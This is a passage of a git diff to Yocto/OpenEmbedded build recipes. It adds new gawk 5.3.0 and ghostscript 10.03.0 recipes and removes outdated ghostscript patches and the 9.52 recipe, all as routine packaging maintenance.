- for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
- do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
- done
- sed -i -e 's|/usr/local/bin|${bindir}|g' \
- -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
-
- sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
-}
-
-RDEPENDS_${PN}-ptest += "make"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.3.0.bb b/meta/recipes-extended/gawk/gawk_5.3.0.bb
new file mode 100644
index 0000000000..d7a0fc616d
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.3.0.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU awk text processing utility"
+DESCRIPTION = "The GNU version of awk, a text processing utility. \
+Awk interprets a special-purpose programming language to do \
+quick and easy text pattern matching and reformatting jobs."
+HOMEPAGE = "https://www.gnu.org/software/gawk/"
+BUGTRACKER = "bug-gawk@gnu.org"
+SECTION = "console/utils"
+
+# gawk <= 3.1.5: GPL-2.0-only
+# gawk >= 3.1.6: GPL-3.0-only
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+PACKAGECONFIG ??= "readline"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
+
+SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "378f8864ec21cfceaa048f7e1869ac9b4597b449087caf1eb55e440d30273336"
+
+inherit autotools gettext texinfo update-alternatives
+
+FILES:${PN} += "${datadir}/awk"
+FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
+
+PACKAGES =+ "${PN}-gawkbug"
+FILES:${PN}-gawkbug += "${bindir}/gawkbug"
+
+ALTERNATIVE:${PN} = "awk"
+ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
+ALTERNATIVE_PRIORITY = "100"
+
+do_install:append() {
+ # remove the link since we don't package it
+ rm ${D}${bindir}/awk
+ # Strip non-reproducible build flags (containing build paths)
+ sed -i -e 's|^CC.*|CC=""|g' -e 's|^CFLAGS.*|CFLAGS=""|g' ${D}${bindir}/gawkbug
+}
+
+inherit ptest
+
+do_install_ptest() {
+ mkdir ${D}${PTEST_PATH}/test
+ ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
+ # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
+ TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
+ for i in $TESTS Maketests inclib.awk; do
+ cp ${S}/test/$i* ${D}${PTEST_PATH}/test
+ done
+ sed -i \
+ -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
+
+ sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
+
+ # These tests require an unloaded host as otherwise timing sensitive tests can fail
+ # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
+ rm -f ${D}${PTEST_PATH}/test/time.*
+ rm -f ${D}${PTEST_PATH}/test/timeout.*
+ for t in time timeout; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+do_install_ptest:append:libc-musl() {
+ # Reported https://lists.gnu.org/archive/html/bug-gawk/2021-02/msg00005.html
+ rm -f ${D}${PTEST_PATH}/test/clos1way6.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/backsmalls1.*
+ # Needs en_US.UTF-8 but then does not work with musl
+ rm -f ${D}${PTEST_PATH}/test/commas.*
+ # The below two need LANG=C inside the make rule for musl
+ rm -f ${D}${PTEST_PATH}/test/rebt8b1.*
+ rm -f ${D}${PTEST_PATH}/test/regx8bit.*
+ for t in clos1way6 backsmalls1 commas rebt8b1 regx8bit; do
+ echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
+ done
+}
+
+RDEPENDS:${PN}-ptest += "make locale-base-en-us coreutils"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
deleted file mode 100644
index a9afb9948c..0000000000
--- a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 2adaa7366064a8f18af864eda74e52877a89620c Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 18 Jan 2016 01:00:30 -0500
-Subject: [PATCH] configure.ac: do not check local png source
-
-In oe-core, it did not need to compile local libpng
-source in ghostscript, so do not check local png
-source, and directly check the existance of shared
-libpng library.
-
-Upstream-Status: Inappropriate [OE-Core specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 698abd3..e65ac8b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1241,7 +1241,7 @@ else
- PNGDEVS=''
- PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
- AC_MSG_CHECKING([for local png library source])
-- if test -f $srcdir/libpng/pngread.c; then
-+ if false; then
- AC_MSG_RESULT([yes])
- SHARE_LIBPNG=0
- LIBPNGDIR=$srcdir/libpng
diff --git a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
index e8cb16c36b..67f14bd368 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
@@ -1,12 +1,11 @@
-From 0ccbaa134093bf6afc79f2d20d061bca5a8754ed Mon Sep 17 00:00:00 2001
+From b36713c8f1ba0e5755b78845a433354a63663b1a Mon Sep 17 00:00:00 2001
From: Kai Kang <kai.kang@windriver.com>
Date: Thu, 29 Mar 2018 16:02:05 +0800
-Subject: [PATCH 04/10] avoid host contamination
+Subject: [PATCH] avoid host contamination
Remove hardcode path refer to host to avoid host contamination.
-Upstream-Status: Inappropriate [embedded specific]
-
+Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
Rebase to 9.23
@@ -16,10 +15,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/devices/devs.mak b/devices/devs.mak
-index 846aa50..9570182 100644
+index 186f704..88ab8c9 100644
--- a/devices/devs.mak
+++ b/devices/devs.mak
-@@ -393,7 +393,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
+@@ -397,7 +397,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT
$(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS)
@@ -28,6 +27,3 @@ index 846aa50..9570182 100644
###### --------------- Memory-buffered printer devices --------------- ######
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch b/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
deleted file mode 100644
index 7d80066a80..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 9ca6f795409b988d38dd98bc2a6ecb68a9392312 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 29 Mar 2018 16:37:40 +0800
-Subject: [PATCH 10/10] base/genht.c: add a preprocessor define to allow fopen
- calling
-
-The commit in upstream:
-http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=773c69e46e70bdd5482676437dafd2ca83397643
-
-Replace all fopen calls with gp_fopen and add a preprocessor define so
-that any unintential calls directly to fopen will cause an error.
-
-Only exceptions are those in the platform specific code, and mkromfs.c.
-This patch add a preprocessor define to allow fopen calling in
-base/genht.c.
-
-Upstream-Status: Pending
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/genht.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/base/genht.c b/base/genht.c
-index e597e72..e96bfb5 100644
---- a/base/genht.c
-+++ b/base/genht.c
-@@ -16,6 +16,10 @@
-
- /* Generate C code for compiling halftones into ROM. */
- #include "malloc_.h"
-+
-+/* prevent gp.h from defining fopen */
-+#define fopen fopen
-+
- #include "stdio_.h"
- #include "string_.h"
- #include "gscdefs.h"
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch b/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
deleted file mode 100644
index 4c9bb22fa2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 9129eb7fa9dc160d64a7d9df9279a3b1dae4d793 Mon Sep 17 00:00:00 2001
-From: Jackie Huang <jackie.huang@windriver.com>
-Date: Thu, 29 Mar 2018 16:16:18 +0800
-Subject: [PATCH 08/10] cups no gcrypt
-
-Don't build-depend on libgcrypt, as nothing is used from it
-
-Backported from
-http://www.cups.org/strfiles.php/3308/cups-no-gcrypt.patch
-
-This addresses the cryto dependency seen during build.
-
-Upstream-Status: Backport
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- cups/libs/cups/http-private.h | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/cups/libs/cups/http-private.h b/cups/libs/cups/http-private.h
-index 99a85c3..a674852 100644
---- a/cups/libs/cups/http-private.h
-+++ b/cups/libs/cups/http-private.h
-@@ -80,7 +80,6 @@ typedef int socklen_t;
- # elif defined HAVE_GNUTLS
- # include <gnutls/gnutls.h>
- # include <gnutls/x509.h>
--# include <gcrypt.h>
- # elif defined(HAVE_CDSASSL)
- # include <CoreFoundation/CoreFoundation.h>
- # include <Security/Security.h>
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
deleted file mode 100644
index ffa269e3b2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 84bb692d6b047c09266de154f404af9817fa04aa Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 29 Mar 2018 15:59:05 +0800
-Subject: [PATCH 01/10] contrib.mak: fix for parallel build
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- contrib/contrib.mak | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/contrib/contrib.mak b/contrib/contrib.mak
-index f5a2fa4..4999752 100644
---- a/contrib/contrib.mak
-+++ b/contrib/contrib.mak
-@@ -1067,6 +1067,7 @@ $(DEVOBJ)dviprlib.$(OBJ) : $(JAPSRC)dviprlib.c $(JAPSRC)dviprlib.h \
- $(DEVCC) $(O_)$@ $(C_) $(JAPSRC)dviprlib.c
-
- extra-dmprt-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- $(INSTALL_DATA) $(JAPSRC)dmp_init.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)dmp_site.ps $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
- $(INSTALL_DATA) $(JAPSRC)escp_24.src $(DESTDIR)$(gsdatadir)$(D)lib || exit 1
-@@ -1235,6 +1236,7 @@ $(DEVOBJ)gdevalps.$(OBJ) : $(JAPSRC)gdevalps.c $(PDEVH) \
- ### ----------------- Additional .upp files ---------------- ###
-
- extra-upp-install: install-libdata
-+ mkdir -p $(DESTDIR)$(gsdatadir)$(D)lib
- for f in $(CONTRIBSRC)uniprint$(D)*.upp; do \
- $(INSTALL_DATA) $$f $(DESTDIR)$(gsdatadir)$(D)lib || exit 1; \
- done
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
deleted file mode 100644
index a382c7f891..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 0124b1c29b9cfe46d73ae82ce023dd7c5b055744 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Thu, 29 Mar 2018 16:36:12 +0800
-Subject: [PATCH 09/10] ghostscript-native:fix disable-system-libtiff
-
-Modify configure to add the check to make sure
-ghostscrip could work while system-libtiff is
-disabled.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
-Rebase to ghostscript 9.25.
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- configure.ac | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 80a60b1..f3e9efb 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1319,6 +1319,7 @@ AC_TRY_COMPILE([], [return 0;],
- CFLAGS=$CGLAGS_STORE
-
- if test x"$SHARE_LIBTIFF" = x"0" ; then
-+ if test -e $LIBTIFFDIR/configure; then
- echo "Running libtiff configure script..."
- olddir=`pwd`
- if ! test -d "$LIBTIFFCONFDIR" ; then
-@@ -1337,6 +1338,10 @@ if test x"$SHARE_LIBTIFF" = x"0" ; then
-
- echo
- echo "Continuing with Ghostscript configuration..."
-+ else
-+ AC_MSG_NOTICE([Could not find local copy of libtiff.
-+Disabling tiff output devices.])
-+ fi
- fi
-
- AC_SUBST(SHARE_LIBTIFF)
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
deleted file mode 100644
index c76915fb81..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From 239d681306a8d97ed10954788d32ba2f4b55f77c Mon Sep 17 00:00:00 2001
-From: Kang Kai <kai.kang@windriver.com>
-Date: Thu, 29 Mar 2018 16:10:16 +0800
-Subject: [PATCH 06/10] prevent recompiling
-
-Just use commands provided by ghostscript-native, preventing recompile
-them when compile ghostscript. Way to enable cross compile.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kang Kai <kai.kang@windriver.com>
-Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-
-Rebase to 9.25
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Jagadeesh Krishnanjanappa <jkrishnanjanappa@mvista.com>
----
- base/unix-aux.mak | 44 --------------------------------------------
- 1 file changed, 44 deletions(-)
-
-diff --git a/base/unix-aux.mak b/base/unix-aux.mak
-index 5bf72e9..9cb39d7 100644
---- a/base/unix-aux.mak
-+++ b/base/unix-aux.mak
-@@ -54,50 +54,6 @@ $(AUX)gp_stdia.$(OBJ): $(GLSRC)gp_stdia.
- $(stdio__h) $(time__h) $(unistd__h) $(gx_h) $(gp_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
- $(GLCCAUX) $(AUXO_)gp_stdia.$(OBJ) $(C_) $(GLSRC)gp_stdia.c
-
--# -------------------------- Auxiliary programs --------------------------- #
--
--$(ECHOGS_XE): $(GLSRC)echogs.c $(AK) $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(ECHOGS_XE) $(GLSRC)echogs.c $(AUXEXTRALIBS)
--
--$(PACKPS_XE): $(GLSRC)pack_ps.c $(stdpre_h) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(PACKPS_XE) $(GLSRC)pack_ps.c $(AUXEXTRALIBS)
--
--# On the RS/6000 (at least), compiling genarch.c with gcc with -O
--# produces a buggy executable.
--$(GENARCH_XE): $(GLSRC)genarch.c $(AK) $(GENARCH_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENARCH_XE) $(GLSRC)genarch.c $(AUXEXTRALIBS)
--
--$(GENCONF_XE): $(GLSRC)genconf.c $(AK) $(GENCONF_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENCONF_XE) $(GLSRC)genconf.c $(AUXEXTRALIBS)
--
--$(GENDEV_XE): $(GLSRC)gendev.c $(AK) $(GENDEV_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENDEV_XE) $(GLSRC)gendev.c $(AUXEXTRALIBS)
--
--$(GENHT_XE): $(GLSRC)genht.c $(AK) $(GENHT_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENHT_CFLAGS) $(O_)$(GENHT_XE) $(GLSRC)genht.c $(AUXEXTRALIBS)
--
--# To get GS to use the system zlib, you remove/hide the gs/zlib directory
--# which means that the mkromfs build can't find the zlib source it needs.
--# So it's split into two targets, one using the zlib source directly.....
--MKROMFS_OBJS_0=$(MKROMFS_ZLIB_OBJS) $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gscdefs.$(OBJ) $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ) $(AUX)memento.$(OBJ)
--
--$(MKROMFS_XE)_0: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_0) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_0 $(MKROMFS_OBJS_0) $(AUXEXTRALIBS)
--
--# .... and one using the zlib library linked via the command line
--MKROMFS_OBJS_1=$(AUX)gscdefs.$(OBJ) \
-- $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ)
--
--$(MKROMFS_XE)_1: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_1) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_1 $(MKROMFS_OBJS_1) $(AUXEXTRALIBS)
--
--$(MKROMFS_XE): $(MKROMFS_XE)_$(SHARE_ZLIB) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CP_) $(MKROMFS_XE)_$(SHARE_ZLIB) $(MKROMFS_XE)
--
- # Query the environment to construct gconfig_.h.
- # These are all defined conditionally (except the JasPER one), so that
- # they can be overridden by settings from the configure script.
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch b/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
deleted file mode 100644
index 3e6d3e3c48..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 2b23026f8e2a352417fb1c4da94bf69b19bef267 Mon Sep 17 00:00:00 2001
-From: Joe Slater <joe.slater@windriver.com>
-Date: Thu, 29 Mar 2018 16:04:32 +0800
-Subject: [PATCH 05/10] ghostscript: allow directories to be created more than
- once
-
-When doing parallel builds, we might try to create directories
-more than once. This should not cause an error.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/unix-end.mak | 17 ++++++++---------
- 1 file changed, 8 insertions(+), 9 deletions(-)
-
-diff --git a/base/unix-end.mak b/base/unix-end.mak
-index 9ce599a..feff5a6 100644
---- a/base/unix-end.mak
-+++ b/base/unix-end.mak
-@@ -17,15 +17,14 @@
- UNIX_END_MAK=$(GLSRC)unix-end.mak $(TOP_MAKEFILES)
- # Define the rule for building standard configurations.
- directories: $(UNIX_END_MAK)
-- @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir $(BINDIR); fi
-- @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir $(GLGENDIR); fi
-- @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir $(GLOBJDIR); fi
-- @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir $(DEVGENDIR); fi
-- @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir $(DEVOBJDIR); fi
-- @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir $(AUXDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR); then mkdir $(PSGENDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir $(PSGENDIR)/cups; fi
-- @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir $(PSOBJDIR); fi
-+ @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir -p $(BINDIR); fi
-+ @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir -p $(GLGENDIR); fi
-+ @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir -p $(GLOBJDIR); fi
-+ @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir -p $(DEVGENDIR); fi
-+ @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir -p $(DEVOBJDIR); fi
-+ @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir -p $(AUXDIR); fi
-+ @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir -p $(PSGENDIR)/cups; fi
-+ @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir -p $(PSOBJDIR); fi
-
-
- gs: .gssubtarget $(UNIX_END_MAK)
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
new file mode 100644
index 0000000000..ff7d38676e
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
@@ -0,0 +1,75 @@
+SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
+DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
+a back-end to a program such as ghostview, it can display PostScript and PDF \
+documents in an X11 environment. \
+\
+Furthermore, it can render PostScript and PDF files as graphics to be printed \
+on non-PostScript printers. Supported printers include common \
+dot-matrix, inkjet and laser models. \
+"
+HOMEPAGE = "http://www.ghostscript.com"
+SECTION = "console/utils"
+
+LICENSE = "AGPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
+
+DEPENDS = "tiff jpeg fontconfig cups libpng freetype zlib"
+
+UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+def gs_verdir(v):
+ return "".join(v.split("."))
+
+
+SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
+ file://ghostscript-9.16-Werror-return-type.patch \
+ file://avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "6f2bc61023469fcf7c7c2d7f1bdd75b75f2b41836aa1d5e641396246d4abbb59"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
+PACKAGECONFIG[libidn] = "--with-libidn,--without-libidn,libidn"
+PACKAGECONFIG[libpaper] = "--with-libpaper,--without-libpaper,libpaper"
+PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
+ --without-x, virtual/libx11 libxext libxt"
+
+EXTRA_OECONF = "--with-jbig2dec \
+ --with-fontpath=${datadir}/fonts \
+ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
+ PKGCONFIG=pkg-config \
+ "
+
+EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
+
+EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+
+# Uses autoconf but not automake, can't do out-of-tree
+inherit autotools-brokensep pkgconfig
+
+# Prune the source tree of libraries that we're using our packaging of, so that
+# ghostscript can't link to them. Can't prune zlib as that's needed for the
+# native tools.
+prune_sources() {
+ rm -rf ${S}/jpeg/ ${S}/libpng/ ${S}/tiff/ ${S}/expat/ ${S}/freetype/ ${S}/cups/lib
+}
+do_unpack[postfuncs] += "prune_sources"
+
+do_install:append () {
+ oe_runmake DESTDIR=${D} install-so
+ oe_runmake DESTDIR=${D} install-data
+ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
+}
+
+# ghostscript does not supports "arc"
+COMPATIBLE_HOST = "^(?!arc).*"
+
+# some entries in NVD uses gpl_ghostscript
+CVE_PRODUCT = "ghostscript gpl_ghostscript"
+
+CVE_STATUS[CVE-2023-38560] = "not-applicable-config: PCL isn't part of the Ghostscript release"
+CVE_STATUS[CVE-2023-38559] = "cpe-incorrect: Issue only appears in versions before 10.02.0"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb b/meta/recipes-extended/ghostscript/ghostscript_9.52.bb
deleted file mode 100644
index 4cdb6e00d8..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb
+++ /dev/null
@@ -1,122 +0,0 @@
-SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
-DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
-a back-end to a program such as ghostview, it can display PostScript and PDF \
-documents in an X11 environment. \
-\
-Furthermore, it can render PostScript and PDF files as graphics to be printed \
-on non-PostScript printers. Supported printers include common \
-dot-matrix, inkjet and laser models. \
-"
-HOMEPAGE = "http://www.ghostscript.com"
-SECTION = "console/utils"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
-
-DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
-DEPENDS_class-native = "libpng-native"
-
-UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-def gs_verdir(v):
- return "".join(v.split("."))
-
-
-SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
- file://ghostscript-9.15-parallel-make.patch \
- file://ghostscript-9.16-Werror-return-type.patch \
- file://do-not-check-local-libpng-source.patch \
- file://avoid-host-contamination.patch \
- file://mkdir-p.patch \
-"
-
-SRC_URI = "${SRC_URI_BASE} \
- file://ghostscript-9.21-prevent_recompiling.patch \
- file://cups-no-gcrypt.patch \
- "
-
-SRC_URI_class-native = "${SRC_URI_BASE} \
